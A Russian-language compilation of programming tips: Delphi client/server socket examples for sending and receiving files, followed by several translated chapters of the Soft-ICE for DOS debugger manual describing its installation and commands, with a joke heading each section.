       Memo2.Lines.Insert(0,'Get Thread');
     end;
 
     procedure TForm1.ServerSocket1ThreadEnd(Sender: TObject;
       Thread: TServerClientThread);
     begin
       Memo2.Lines.Insert(0,'Thread end');
     end;
 
     procedure TForm1.ServerSocket1ThreadStart(Sender: TObject;
       Thread: TServerClientThread);
     begin
       Memo2.Lines.Insert(0,'Thread start');
     end;
 
     procedure TForm1.Button3Click(Sender: TObject);
      var i: Integer;
     begin
       {Посылаем ВСЕМ клиентам сообщение из Edit1}
       for i := 0 to ServerSocket1.Socket.ActiveConnections-1 do begin
        ServerSocket1.Socket.Connections[i].SendText(Edit1.Text);
       end;
       Memo1.Lines.Insert(0,'< '+Edit1.Text);
     end;
 




Почему несколько блоков при передаче по сокету могут объединяться в один

Скорость передачи между двумя и более пользователями Intеrnеtа при обрыве связи внезапно возрастает до 2 мегаматов в секунду.

Итак, во-первых, надо заметить, что посылаемые через сокет данные могут не только объединяться в один блок, но и разъединяться по нескольким блокам. Дело в том, что сокет - обычный поток, но в отличие, скажем, от файлового (TFileStream), он передает данные медленнее (сами понимаете - сеть, ограниченный трафик, и т.д.). Именно поэтому две команды:

 ServerSocket1.Socket.Connections[0].SendText('Hello, ');
 ServerSocket1.Socket.Connections[0].SendText('world!');
 

совершенно идентичны одной команде:

 ServerSocket1.Socket.Connections[0].SendText('Hello, world!');
 

И именно поэтому, если Вы отправите через сокет файл, скажем, в 100 Кб, то тому, кому Вы посылали этот блок, придет несколько блоков с размерами, которые зависят от трафика и загруженности линии. Причем, размеры не обязательно будут одинаковыми. Отсюда следует, что для того, чтобы принять файл или любые другие данные большого размера, Вам следует принимать блоки данных, а затем объединять их в одно целое (и сохранять, например, в файл). Отличным решением данной задачи является тот же файловый поток - TFileStream (либо поток в памяти - TMemoryStream). Принимать частички данных из сокета можно через событие OnRead (OnClientRead), используя универсальный метод ReceiveBuf. Определить размер полученного блока можно методом ReceiveLength. Также можно воспользоваться сокетным потоком (см. статью про TClientSocket). А вот и небольшой примерчик (приблизительный):


   {Прием файла через сокет}
   procedure TForm1.ClientSocket1Read(Sender: TObject;
     Socket: TCustomWinSocket);
    var l: Integer;
        buf: PChar;
        src: TFileStream;
   begin
     {Записываем в l размер полученного блока}
     l := Socket.ReceiveLength;
     {Заказываем память для буфера}
     GetMem(buf,l+1);
     {Записываем в буфер полученный блок}
     Socket.ReceiveBuf(buf,l);
     {Открываем временный файл для записи}
     src := TFileStream.Create('myfile.tmp',fmOpenReadWrite);
     {Ставим позицию в конец файла}
     src.Seek(0,soFromEnd);
     {Записываем буфер в файл}
     src.WriteBuffer(buf,l);
     {Закрываем файл}
     src.Free;
     {Освобождаем память}
     FreeMem(buf);
   end;
 




Посылка файлов через сокет

Спать на работе - грех, не для того вам там дан бесплатный интернет!

Здесь мы рассмотрим посылку файлов через сокет. Итак, как же послать файл по сокету? Очень просто! Достаточно лишь открыть этот файл как файловый поток (TFileStream) и отправить его через сокет (SendStream)! Рассмотрим это на примере:


 {Посылка файла через сокет}
 procedure SendFileBySocket(filename: string);
 var
   srcfile: TFileStream;
 begin
   {Открываем файл filename}
   srcfile := TFileStream.Create(filename,fmOpenRead);
   {Посылаем его первому подключенному клиенту}
   ServerSocket1.Socket.Connections[0].SendStream(srcfile);
   {Закрываем файл}
   srcfile.Free;
 end;
 

Нужно заметить, что метод SendStream используется не только сервером, но и клиентом (ClientSocket1.Socket.SendStream(srcfile))




Руководство по Soft-ICE (DOS) - 1

- И почему персональный компьютер изобрели не в России? Ведь все его устройства общаются между собой только по матери.

РАЗДЕЛ I - Изучение Soft-ICE

ГЛАВА 1

1.1 Описание Продукта

Soft-ICE - инструмент отладки программного обеспечения, который обеспечивает возможности отладки на аппаратном уровне для отладчиков PC DOS и MS DOS.

Soft-ICE использует защищенный режим 80386, чтобы запускать DOS в виртуальной машине. Это дает Soft-ICE полный контроль над окружением DOS. Soft-ICE использует особенности защищенного режима 80386, типа страничной организации памяти, уровня привилегий ввода/вывода и регистров отладки, для установки аппаратных точек останова из вашего существующего отладчика DOS.

Soft-ICE был разработан для достижения трех целей:

  1. Использовать возможности виртуальной машины 80386 для тех способов отладки, которые являются невозможными или недопустимо медленными для отладчиков, использующих только программные средства (например, аппаратные точки останова в режиме реального времени, защита памяти, борьба с программами, вызывающими зависание системы и т.д.).
  2. Работать с существующими отладчиками. Мы хотели предоставить инстру- мент, который работал бы с существующими инструментами. Мы разработали Soft-ICE таким образом, чтобы вам не нужно было изучать новый отладчик для получения мощных возможностей для отладки программ на аппаратном уровне.
  3. Быть программой, дружественной к пользователю, с окном, которое всплывает немедленно и не мешает работать. Все команды Soft-ICE были разработаны, чтобы помещаться в небольшом окне так, чтобы была видна информация за экраном Soft-ICE. Динамическая система интерактивной помощи помогает пользователям, редко использующим Soft-ICE.

Предоставляемые возможности программы Soft-ICE:

  • Точки останова на чтение/запись в ОЗУ в режиме реального времени, на чтение/запись в порты и области памяти и на прерывания
  • История выполнения команд для обратной трассировки
  • Символьная отладка и отладка на уровне исходных текстов
  • Окружение, работающее с существующими отладчиками
  • Полная поддержка EMM 4.0
  • Возможность наращивания основной памяти свыше 640КБ для систем с монохромными адаптерами
  • Окно, всплывающее в любое время
  • Способность всплытия по нажатию клавиши даже при отключенных прерываниях
  • Код отладчика, изолированный при помощи защищенного режима 80386. Это предотвращает изменение или разрушение Soft-ICE выполняющейся программой; даже если DOS будет разрушена, Soft-ICE все еще будет работать
  • Способность настроить Soft-ICE не использовать память ниже границы 640КБ, если в системе есть больше чем 640КБ
  • Дружественная динамическая помощь
  • Возможность использования в качестве автономного отладчика. Эта возможность полезна при отладке загружаемых драйверов устройств, обработчиков прерываний, последовательностей команд, которые традиционные отладчики не могут пройти; если ваш отладчик испытывает трудности при повторных вхождениях в код (re-entrancy) * Способность мягкой перезагрузки, позволяющая отлаживать другие операционные системы или самозагружающиеся программы
  • Простая установка без необходимости настройки DIP-переключателей для предотвращения захвата портов и никаких конфликтов с адресным пространством ОЗУ

Внимание:

Soft-ICE будет работать только с программами реального режима адресации. Он не будет работать с программами, которые используют инструкции защищенного режима 80286 или 80386.

1.2 Использование этого Руководства

Руководство по Soft-ICE разделено на четыре основные части:

  1. Изучение Soft-ICE
  2. Команды
  3. Поддерживаемые Возможности
  4. Дополнительные Темы

Soft-ICE можно использовать в большинстве отладочных задач после прочтения Части I,"Изучение Soft-ICE" и небольшого экспериментирования. Дружествен- ная интерактивная система помощи пользователям Soft-ICE может использоваться для получения описания и синтаксиса команд.

Часть "Изучение Soft-ICE" содержит инструкции по установке, описание интер- фейса пользователя и обучающую часть. Обучающая часть предназначена для того, чтобы вы быстро смогли освоиться и начать работу.

Часть "Команды" описывает все команды Soft-ICE. Описания команд упорядочены по функциональным группам с буквенным индексом для ссылок.

Часть "Поддерживаемые Возможности" охватывает расширенные опции загрузки, символьную отладку и отладку на уровне исходных текстов, возможности EMM 4.0.

Часть "Дополнительные Темы" охватывает темы типа использования Soft-ICE с загружаемыми драйверами ДОС и использования Soft-ICE с другими ОС (non-DOS).

Во всем руководстве, особенно в обучающей части и части с описанием команд, даны примеры, требующие ввода данных в Soft-ICE. Когда в руководстве указано

"Нажмите" клавишу, вы должны нажать указанную клавишу. Когда в руководстве указано "Введите" команду типа WIN, вы должны набрать на клавиатуре указан- ные буквы, после чего нажать ВВОД.

1.3 Системные требования

Soft-ICE работает с IBM Серии II модели 70 и 80, Compaq 80386 и компьютерами 80386SX, с совместимыми с AT и 80386 картами сопроцессора. Soft-ICE будет работать с сопроцессорами 80386 XT только, если они совместимы с AT.

Soft-ICE лучше всего работает при наличии расширенной памяти, но так же прекрасно работает на системах только с основной памятью.

Soft-ICE не использует DOS или ROM BIOS для видео вывода и клавиатурного ввода. Поэтому видеоадаптер должен быть совместим с одним из следующих: MDA, Hercules, CGA, EGA или VGA. Soft-ICE также поддерживает двухмониторную конфигурацию, которая очень полезна при отладке программ, интенсивно работа- ющих с видеоадаптером.

ГЛАВА 2

2.1 Дискеты

Soft-ICE поставляется на дискетах 5 1/4 или 3 1/2 дюйма.

При запуске Soft-ICE, как мера против компьютерных пиратов, на экран выводится имя лица, обладающего лицензией на использование вашей копии Soft-ICE. Для вашего удобства дискета с Soft-ICE физически не защищена от копирования. Для нашего удобства, мы надеемся на ваше серьезное отношение к нашему лицензионному соглашению. Важно сделать резервную копию дискеты на случай повреждения оригинала.

В директории дискеты Soft-ICE должны находиться следующие файлы:

  • S-ICE.EXE
  • S-ICE.DAT
  • LDR.EXE
  • MSYM.EXE
  • EMMSETUP.EXE
  • UPTIME.EXE
  • README.SI
  • SAMPLE.EXE
  • SAMPLE.ASM
  • SAMPLE.SYM
  • S-ICE.EXE - программа Soft-ICE.
  • S-ICE.DAT - файл инициализации Soft-ICE.
  • LDR.EXE - загрузчик программ и символьных файлов, входящий в пакет Soft-ICE.
  • MSYM.EXE - программа создания символьных файлов, входящая в пакет Soft-ICE.
  • EMMSETUP.EXE - программа, позволяющая вам определить способ использования вашей системой отображаемой памяти.
  • UPTIME.EXE устанавливает время в соответствии с часами реального времени.
  • README.SI - текстовый файл, содержащий информацию о Soft-ICE, которая не входит в это руководство.
  • SAMPLE.EXE - короткая демонстрационная программа, которая используется в обучающей части.
  • SAMPLE.ASM - файл с исходным текстом демонстрационной программы на Ассемблере
  • SAMPLE.SYM - символьный файл для демонстрационной программы.

2.2 Загрузка Soft-ICE

Перед запуском Soft-ICE, скопируйте все файлы с дистрибутивной дискеты на ваш жесткий диск.

Эти файлы должны быть помещены в каталог, доступный через ваш дополнительный список путей (path list).

S-ICE.EXE может быть загружен как драйвер устройства в CONFIG.SYS или запущен как программа из командной строки. Чтобы использовать большинство возможностей Soft-ICE, S-ICE.EXE должен быть загружен как драйвер устройства в CONFIG.SYS.

Внимание:

Если у вас нет расширенной памяти, Soft-ICE НЕ может быть загружен как драйвер устройства. Вместо этого он должен быть запущен из командной строки DOS.

2.2.1 Загрузка Без Расширенной Памяти

Когда нет расширенной памяти, Soft-ICE загружается в максимально высокие адреса памяти. В таком случае память, используемая Soft-ICE, исключается из карты памяти, что делает его невидимым для программ DOS. Так как после загрузки Soft-ICE уменьшается память, видимая программами DOS, рекомендуется

загружать Soft-ICE до всех TSR или контролирующих программ. Если у вас нет расширенной памяти, просто введите:


 S-ICE
 

2.2.2 Загрузка С Расширенной Памятью

Загрузка Soft-ICE с расширенной памятью может выполняться одним из двух путей:

1. Установить S-ICE.EXE как драйвер в CONFIG.SYS, Этот метод необходим, если вы будете использовать какую-то из следующих возможностей:

  • Разделение памяти с программами, которые используют расширенную память, используя вызовы ROM BIOS (VDISK.SYS, RAMDRIVE.SYS, HIMEM.SYS, кэш-программы и т.д..).
  • Использование возможностей Soft-ICE - EMM 4.0
  • Использование Soft-ICE для символьной отладки или отладки на уровне исходного текста.
  • Использование обратной трассировки.
  • Использование Soft-ICE с другими продуктами Nu-Mega, такими как MagicCV,

Загруженный как драйвер, Soft-ICE выделяет часть расширенной памяти для себя и связанных с ним компонент, так что не возникает никаких конфликтов в памяти. S-ICE.EXE должен быть загружен в CONFIG.SYS перед всеми другими драйверами, которые выделяют расширенную память при загрузке (например VDISK.SYS, RAMDRIVE.SYS). Вообще Soft-ICE работает лучше всего, если он является первым загружаемым драйвером, установленным в CONFIG.SYS.

Для начинающих пользователей Soft-ICE рекомендуется загружать Soft-ICE как первый драйвер в CONFIG.SYS в следующем виде:


 device = диск:\путь\S-ICE.EXE /SYM 50
 

Диск и путь определяют директорию, в которой находится S-ICE.EXE. Эта строка загрузит Soft-ICE при инициализации системы и этого будет достаточно для обучающей части. Однако, Soft-ICE не будет установлен для использования некоторых более мощных возможностей, типа EMM 4.0. Вы можете реконфигурировать Soft-ICE и включить эти возможности после того, как вы немного поэкспериментировали. Если у вас уже есть опыт работы с Soft-ICE или вы хотите немедленно установить Soft-ICE с этими возможностями, пожалуйста прочтите главу 6 (Опции Инициализации Soft-ICE).

Предостережение:

При первой на вашей системе установке любого нового драйвера устройства, желательно иметь системную дискету. Это - предупредительная мера для тех не- желательных случаев, когда параметры, принимаемые драйвером по умолчанию, не совместимы с вашей системой.

Если вы точно не знаете, как отредактировать ваш файл CONFIG.SYS, обратитесь к руководству пользователя вашей системы или руководству вашего текстового редактора. После того, как вы изменили ваш CONFIG.SYS вы должны перезагрузить вашу систему, чтобы внесенные изменения вступили в силу.




Руководство по Soft-ICE (DOS) - 10

Фирме требуется хакер, жeлательно со знанием компьютера.

Синтаксис:


 < ? | H > [команда | выражение]
 

Комментарии:

И команда ? и команда H выводят справочную информацию.

Если параметры не определены, система помощи выдает короткие описания всех команд и операторов, по одному экрану за раз. Нажмите любую клавишу для продолжения или нажмите ESC, чтобы выйти из выводимой справки.

Если указана команда, справка выводит более детальную информацию относительно указанной команды, включая синтаксис команды и пример.

Если указано выражение, выражение вычисляется и результат выводится в шестнадцатеричном, десятичном и ASCII-представлении.

Примеры:


 ? ALTKEY
 

Эта команда отображает информацию о команде ALTKEY, включая синтаксис и пример.


 H 10 + 14*2
 

Эта команда выводит: 0038 00056 "8". Это - шестнадцатеричное, десятичное и ASCII-представления значения выражения "10 + 14*2".

VER

VER -- Выводит номер версии Soft-ICE

Синтаксис:


 VER
 

Пример:


 VER
 

Эта команда выводит версию Soft-ICE и сообщение об авторских правах Nu-Mega Technologies.

5.2 Команды Портов ввода/вывода

Команды:

I или IB -- Ввод из байтового порта ввода/вывода
IW -- Ввод из порта ввода/вывода с размерностью в слово
O или OB -- Вывод в байтовый порт ввода/вывода
OW -- Вывод в порт ввода/вывода с размерностью в слово

I, IB, IW

I, IB, IW -- Ввод из порта ввода/вывода

Синтаксис:


 I [размерность] порт
 

размерность -- B -- Байт W -- Слово
порт -- байт или слово

Комментарии:

Команды ввода из порта используются для чтения и отображения значений из аппаратного порта. Ввод может выполняться из портов с размерностью слово или байт. Если размер не определен, то значение по умолчанию - байт.

Пример:


 I 21
 

Эта команда отображает регистр маски первого контроллера прерываний.

O, OB, OW

O, OB, OW, -- Вывод в порт ввода/вывода

Синтаксис:


 O [размерность] порт значение
 

размерность -- B -- Байт W -- Слово
порт -- байт или слово
значение -- байт для байтового порта или слово для порта размерностью в слово

Комментарии:

Команды вывода в порт используются для записи значения в аппаратный порт. Вывод может выполняться в порты размерностью байт или слово, если размер не определен, то значение по умолчанию - байт.

Пример:


 O 21 FF
 

Эта команда маскирует все прерывания для первого контроллера прерываний.

5.3 Команды Передачи Управления

Команды:

X -- Выйти из окна Soft-ICE
G -- Перейти по адресу
T -- Протрассировать одну команду
P -- Программный шаг
HERE -- Исполнение программы до строки, в которой находится курсор
GENINT -- Вызов прерывания
EXIT -- Вызывает выход из текущей программы DOS'а
BOOT -- Перезагрузка системы (с сохранением Soft-ICE)
HBOOT -- Жесткая перезагрузка системы (общий сброс)

X

X -- Выйти из окна Soft-ICE

Синтаксис:


 X
 

Комментарии:

Команда X производит выход из окна Soft-ICE и возвращает управление программе, которая была прервана при вызове Soft-ICE. Окно Soft-ICE исчезает. Если до этого были установлены точки останова, они станут активными.

Пример:


 X
 

G

G -- Перейти по адресу

Синтаксис:


 G [=адрес-начала] [адрес-останова]
 

Комментарии:

Команда G вызывает выход из окна Soft-ICE с одноразовым набором точек останова на выполнение. Кроме того, активизируются все "прилипающие" точки останова.

Если не указан параметр адрес-начала, выполнение начинается с текущего CS:IP. В противном случае выполнение начинается с адреса-начала. Выполнение продолжается, пока не достигается адрес-останова, используется комбинация клавиш для вызова окна или не выполняется "прилипающая" точка останова.

Адрес останова должен указывать на первый байт опкода команды.

Когда достигается указанный адрес-останова, текущий CS:IP будет указывать на команду, где была установлена точка останова.

Команда G без параметров ведет себя также как команда X.

Обычная точка останова на выполнение использует 1 отладочный регистр 80386, пока все отладочные регистры не будут распределены для "прилипающих" точек останова. В этом случае, будет произведен останов в стиле INT 3. В таком случае команды G и P не будут корректно работать в ПЗУ. При попытке их использования будет выведено сообщение об ошибке.

Пример:


 G CS:1234
 

Эта команда устанавливает временную точку останова на CS:1234

T

T -- Протрассировать одну команду

Синтаксис:


 T [=адрес-начала] [счетчик]
 

Комментарии:

Команда T выполняет одиночный шаг на одну команду, используя флаг трассировки.

Если параметр адрес-начала не указан, выполнение начинается с текущего CS:IP. Если адрес-начала - определен, CS:IP изменяется на адрес-начала для трассировки.

Если указано значение счетчика, Soft-ICE будет считать количество шагов. Команда TRACE будет выполняться, пока счетчик не будет исчерпан или не будет нажата клавиша Esc, независимо от достигнутых точек останова.

В режиме работы с исходным текстом команда T переходит на следующее выражение в исходном тексте. Если текущее выражение - вызов процедуры или функции и есть исходный текст вызываемой подпрограммы, T входит в нее. Если нет исходного текста вызываемой процедуры или функции, T перешагивает через подпрограмму.

Пример:


 T = 1284 3
 

Эта команда трассирует три инструкции, начиная с ячейки памяти 1284.

P

P -- Программный шаг

Синтаксис:


 P
 

Комментарии:

Команда P - логический шаг программы. По текущему CS:IP выполняется одна команда, если она не является обращением, прерыванием, циклом или командой повторения работы со строковыми данными. В этих случаях, прежде чем управление возвращается Soft-ICE'у, выполняется вся подпрограмма или итерация.

Команда P использует одноразовую точку останова на выполнение. Обычная точка останова на выполнение использует 1 отладочный регистр 80386, пока все отладочные регистры не будут распределены для "прилипающих" точек останова. В этом случае, будет произведен останов в стиле INT 3. В таком случае команды G и P не будут корректно работать в ПЗУ. При попытке их использования будет выведено сообщение об ошибке.

В режиме работы с исходным текстом команда P переходит на следующее выражение в исходном тексте. Если текущее выражение - вызов процедуры или функции, P перешагивает через подпрограмму.

Пример:


 P
 

Эта команда выполняет один 'программный шаг'.

HERE

HERE -- Исполнение программы до строки, в которой находится курсор

Синтаксис:


 HERE
 

Комментарии:

Команда HERE выполняется, пока программа не достигает текущей строки курсора. HERE доступна, только когда курсор находится в окне кода. Если окно кода не видимо или курсор - не в окне кода, используйте вместо этого команду G.

Команда HERE вызывает выход из окна Soft-ICE с одноразовым набором точек останова на выполнение. Кроме того, активизируются все "прилипающие" точки останова.

Выполнение начинается с текущего CS:IP и продолжается до встречи адреса текущей позиции курсора в окне кода, используется комбинация клавиш для вызова окна и выполняется "прилипающая" точка останова.

Обычная точка останова на выполнение использует 1 отладочный регистр 80386, пока все отладочные регистры не будут распределены для "прилипающих" точек останова. В этом случае, будет произведен останов в стиле INT 3. В таком случае команда HERE не будет корректно работать в ОЗУ. При попытке ее использования будет выведено сообщение об ошибке.




Руководство по Soft-ICE (DOS) - 11

Встречаются двое соседей на лестничной площадке. Один возмущается:
- Из вашей квартиры вчера доносились такие крики, будто вы поросенка резали!
- Нет, это я антивирус Касперского запускал.

Пример:


 HERE
 

Этот пример устанавливает точку останова на выполнение на текущую позицию курсора, затем выходит из Soft-ICE и начинает выполнение с текущего CS:IP. Заданная по умолчанию Функциональная клавиша: F7

GENINT

GENINT -- Вызов прерывания

Синтаксис:


 GENINT INT1 | INT3 | NMI | номер-прерывания
 

номер-прерывания -- число в диапазоне 00 - FF

Комментарии:

Команда GENINT вызывает прерывание. Она может использоваться для передачи управления другому отладчику при использовании Soft-ICE с другим отладчиком. Она также может использоваться для проверки подпрограмм обработки прерываний.

Команда GENINT эмулирует последовательность обработки аппаратного прерывания или команды INT. Она сохраняет флаги, регистр CS и регистр IP, затем изменяет значение регистров CS и IP на значение входа в таблицу векторов прерываний, в соответствии с указанным номером прерывания.

Пример:


 GENINT NMI
 

Это вызывает немаскируемое прерывание. Оно передаст управление обратно CodeView, если Soft-ICE используется как вспомогательное средство для CodeView.

EXIT

EXIT -- Вызывает выход из текущей программы DOS'а

Синтаксис:


 EXIT [R] [D]
 

R -- Восстановить таблицу векторов прерываний
D -- Удалить все точки останова

Комментарии:

Команда EXIT пытается прерывать текущую программу, вызывая функцию выхода DOS (INT 21H, функция 4CH). Эта команда будет работать только если DOS находится в состоянии, когда она способна принять обращение к функции выхода. Если это обращение произведено из некоторых обработчиков прерываний или в других случаях, когда DOS не готова, поведение системы будет непредсказуемо.

Эта функция НЕ производит восстановления системных переменных, кроме таблицы прерываний, при указанной опции R. Это означает что переменные BIOS, видеорежимы и другие данные системного уровня не восстанавливаются.

Использование опции R вызовет восстановление векторов прерываний к значениям которые были в последний раз, когда они были сохранены. Soft-ICE сохраняет векторы прерываний, когда он загружается, когда LDR.EXE загружает программа и когда используется команда VECS S.

Обратите внимание:

Для перезапуска программы, которая была загружена программой-загрузчиком Soft-ICE'а (LDR.EXE) сделайте следующее:


 EXIT R
 LDR prog.EXE
 

Команда EXIT восстановит таблицу прерываний к значениям, которые содержались в ней до загрузки программы, затем выйдите к командному процессору. При помощи запуска LDR и указания суффикса .EXE, программа загружается обратно без перезагрузки символов и исходного текста. Символы и исходный текст останутся в памяти.

Внимание:

Команда EXIT должна использоваться с осторожностью. Так как Soft-ICE может быть вызван в любое время, может произойти ситуация, когда DOS не в состоянии принять обращение к функции выхода. Также, команда EXIT не производит никакого специфического программного сброса. Например, команда EXIT не восстанавливает видеорежим. Если ваша программа установила видео BIOS и аппаратные средства в определенный видеорежим, они останутся в этом режиме после команды EXIT.

Пример:


 EXIT R
 

Восстанавливает таблицу прерываниq и выходит из текущей программы. Опция R должна использоваться при выходе из программы, загруженной программным загрузчиком Soft-ICE'а LDR.EXE.

BOOT

BOOT -- Перезагрузка системы (с сохранением Soft-ICE)

Синтаксис:


 BOOT
 

Комментарии:

Команда BOOT перезагружает систему и сохраняет Soft-ICE. BOOT требуется для отладки последовательности начальной загрузки, загружаемых драйверов DOS и операционных систем отличных от DOS (non-DOS).

BOOT выполняется посредством вызова прерывания 19H ROM BIOS. В некоторых случаях память может быть разрушена до такой степени, что прерывание 19 не будет работать. Тогда вызовите Soft-ICE и используйте команду HBOOT.

Для правильной работы BOOT Soft-ICE должен быть установлен как загружаемый драйвер в CONFIG.SYS перед всеми другими драйверами устройств. Так Soft-ICE сможет восстановить первоначальное состояние системы максимально точно.

Пример:


 BOOT
 

Эта команда выполняет перезагрузку системы. Soft-ICE остается резидентным.

HBOOT

HBOOT -- Жесткая перезагрузка системы (общий сброс)

Синтаксис:


 HBOOT
 

Комментарии:

Команда HBOOT сбрасывает всю систему. Soft-ICE не сохраняется в процессе сброса. HBOOT достаточна, если плата адаптера не требует отключения питания. В этом случае, питание машины нужно отключить и затем восстановить.

Пример:


 HBOOT
 

Эта команда производит перезагрузку системы. Soft-ICE должен быть заново загружен.

5.4 Команды Режима Отладки

Команды:

ACTION -- Устанавливает действие после достижения точки останова
WARN -- Устанавливает режим предупреждения повторной входимости DOS/ROM BIOS
BREAK -- Прерывает исполнение в любое время
I3HERE -- Перенаправить прерывание 3 на Soft-ICE

ACTION

ACTION -- Устанавливает действие после достижения точки останова

Синтаксис:


 ACTION [INT1 | INT3 | NMI | HERE | int-номер]
 

int-номер -- Любой допустимый номер прерывания (0-FFH). Используйте эту опцию только если пользовательская подпрограмма-обработчик прерывания перехватила этот вектор прерывания (смотрите раздел 11.2).

Комментарии:

Команда ACTION определяет, куда передается управление, когда выполнены условия точки останова. В большинстве случаев, желательное действие - INT3 или HERE, INT3 обычно используется, если Soft-ICE используется вместе с главным отладчиком, HERE используется, когда желательно вернуться в Soft-ICE при выполнении условий останова, INT1 и NMI - варианты для некоторых отладчиков, которые не работают с опцией INT3. Например, CODEVEW лучше всего работает с ACTION установленным в NMI.

Используйте int-номер, если имеется установленная пользовательская процедура обработки прерывания. Использование int-номера без установленной процедуры пользователя по обработке прерывания вызовет ошибку. Для получения более подробной информации, см. раздел 11.2, 'Пользовательские точки останова'.

Если параметры команды ACTION не указаны, отображается текущее установленное действие.

Заданное по умолчанию действие - HERE.

Пример:


 ACTION HERE
 

Эта команда указывает, что когда будут выполнены условия точки останова, управление вернется Soft-ICE'у.

WARN

WARN -- Устанавливает режим предупреждения повторной входимости DOS/ROM BIOS

Синтаксис:


 WARN [ON | OFF]
 

Комментарии:

Команда WARN предусмотрена для использования Soft-ICE с отладчиками, которые используют DOS и ROM BIOS. Много отладчиков используют DOS и ROM BIOS для вывода на экран и чтения нажатий клавиш. Так как DOS и ROM BIOS не полностью реентерабельны, эти отладчики не могут корректно работать, если останов происходит во время выполнения процедур DOS или ROM BIOS.

Если установлен WARN ON и ACTION - не HERE, то управление перейдет к Soft-ICE до того как действие фактически произойдет. Система отобразит текущий CS:IP и предоставит вам выбор продолжить или вернуться в Soft-ICE. Вообще, вы должны выбрать возврат в Soft-ICE для продолжения вашей работы по отладке. Продолжайте работу с главным отладчиком, только если вы знаете, что ваш отладчик не вызовет повторного вхождения в DOS или ROM BIOS.

Режим WARN должен быть включен при использовании Soft-ICE с DEBUG, SYMDEB и CODEVIEW.

Если параметры не указаны, отображается текущее состояние WARN.

Значение по умолчанию - режим WARN OFF.

Пример:


 WARN ON
 

Эта команда включает режим предупреждения повторной входимости в DOS/ROM BIOS.

BREAK BREAK -- Прерывает исполнение в любое время

Синтаксис:


 BREAK [ON | OFF]
 

Комментарии: Команда BREAK позволяет вызывать окно Soft-ICE, когда система остановлена с заблокированными прерываниями. Режим BREAK может использоваться для всего сеанса отладки или он может включаться и отключаться, когда это требуется.

Режим BREAK немного снижает эффективность системы. Это снижение производительности должно оцениваться с точки зрения необходимости выхода из зависшей программы. Пользователь может хотеть иметь включенный режим BREAK на все время, даже при снижении эффективности, потому что программа может зависнуть в любое время.

В отличие от других отладчиков, которые тоже могут быть вызваны в любое время, Soft-ICE не требует внешнего переключателя. Когда BREAK - включен, окно Soft- ICE может быть вызвано в любое время при нажатии текущей комбинации клавиш.

Если параметры не указаны, отображается текущее состояние BREAK.

Значение по умолчанию - BREAK OFF.

Пример:


 BREAK ON
 

Эта команда включает режим BREAK. Это означает что окно Soft-ICE может быть вызвано в любое время, даже если прерывания заблокированы.




Руководство по Soft-ICE (DOS) - 12

Настоящее имя Билла Гейтса - дед мастдай...

I3HERE

I3HERE -- Перенаправить прерывание 3 на Soft-ICE

Синтаксис:


 I3HERE [ON | OFF]
 

Комментарии:

Команда I3HERE позволяет вам указать, что любое прерывание 3 вызовет окно Soft-ICE. Эта возможность полезна для остановки вашей программы в определенных местах.

Чтобы использовать эту возможность, поместите INT 3 в ваш код в месте, где вы хотите остановиться. Когда произойдет INT 3, оно вызовет окно Soft-ICE. В этой точке, вы можете использовать команду R IP, чтобы изменить ваш указатель команд на команду, следующую после INT 3, затем вы можете продолжить отладку.

Если параметры не указаны, отображается текущее состояние I3HERE.

Значение по умолчанию - режим I3HERE OFF.

Пример:


 I3HERE ON
 

Эта команда включает режим I3HERE. Любой INT 3, сгенерированный после этого, вызовет окно Soft-ICE.

5.5 Сервисные Команды

Команды:

A -- Транслировать код
S -- Поиск данных
F -- Заполнить память данными
M -- Переместить данные
C -- Сравнить два блока данных

A

A -- Транслировать код

Синтаксис:


 A [Адрес]
 

Комментарии:

Транслятор Soft-ICE позволяет вам транслировать команды непосредственно в памяти. Транслятор поддерживает базисную систему команд 8086 с расширениями для реального режима 80186 и 80286. Инструкции математического сопроцессора и специфические для 80386 команды, регистры и режимы адресации НЕ могут быть оттранслированы.

Команда A вызывает интерактивный транслятор Soft-ICE. В начале каждой транслируемой строки отображается ее адрес. После того как команда ассемблера набрана и нажат ВВОД, команды транслируются в память по указанному адресу. Команды должны вводиться в стандартном формате Intel. Для выхода из режима транслятора нажмите ВВОД в пустой строке.

Если адресный интервал, в который вы транслируете команды, видим в окне кода, команды будут изменятся интерактивно, по мере трансляции.

Транслятор Soft-ICE'а поддерживает стандартную мнемонику семейства 8086, однако имеются некоторые специальные добавления:

  • Мнемокод DB используется для указания байтов данных непосредственно в памяти. Команда DB сопровождается списком байтов и/или строк в кавычках разделенных пробелами или запятыми.
  • Мнемокод RETF описывает дальний возврат.
  • WORD PTR и BYTE PTR используется для указания размера данных, если не присутствует аргумент-регистр, например: MOV BYTE PTR ES:[ 1234],1.
  • Используйте, FAR и NEAR для явной трансляции дальних и ближних переходов и обращений. Если FAR или NEAR не указаны, то все переходы и обращения - ближние.
  • Операнды, описывающие ячейки памяти, должны помещаться в квадратные скобки, например: MOV AX,[1234].

Пример:


 A CS:1234
 

Эта команда выводит приглашение для ввода команд ассемблера, затем транслирует их, начиная со смещения 1234H в текущий сегмент кода. Нажмите ВВОД в приглашении с адресом после ввода последней команды.

S

S -- Поиск данных

Синтаксис:


 S адрес L длина список-данных
 

список-данных -- список байтов или строк в кавычках, разделенных запятыми или пробелами. Строка в кавычках может начинаться с одинарной или двойной кавычки.
длина -- длина в байтах

Комментарии:

Команда S ищет в памяти последовательности байтов или символов, совпадающих со списком данных. Поиск начинается с указанного адреса и до смещения, равного указанной длине. Адреса каждого найденного в диапазоне совпадения выводятся на экран.

Пример:


 S DS:SI+10 L CX 'Привет',12,34
 

Эта команда ищет строку 'Привет' сопровождаемую байтами 12H и 34H, начиная со смещения SI+10 в текущем сегменте данных и заканчивая адресом через CX байт от начала.

F

F -- Заполнить память данными

Синтаксис:


 F адрес L длина список-данных
 

список-данных -- список байтов или строк в кавычках, разделенных запятыми или пробелами. Строка в кавычках может начинаться с одинарной или двойной кавычки.
длина -- длина в байтах

Комментарии:

Команда F заполняет память последовательностью байтов или символов, определенных в списке-данных. Память заполняется, начиная с указанного адреса и до смещения, равного указанной длине, повторяя список-данных в случае необходимости.

Пример:


 F 8000:0 L 100 'Тест'
 

Эта команда заполняет память, начиная с 8000:0 на длину 100H байтов строкой 'Тест'. Строка 'Тест' повторяется, пока не достигнуто необходимое смещение.

М

M -- Переместить данные

Синтаксис:


 М адрес-начала L длина конечный-адрес
 

длина -- длина в байтах

Комментарии:

Команда M перемещает указанное число байтов из адреса-начала в памяти в конечный-адрес в памяти.

Пример:


 М 1000:0 L 200 2000:0
 

Эта команда перемещает 200H байтов из ячейки памяти 1000:0 в ячейку памяти 2000:0.

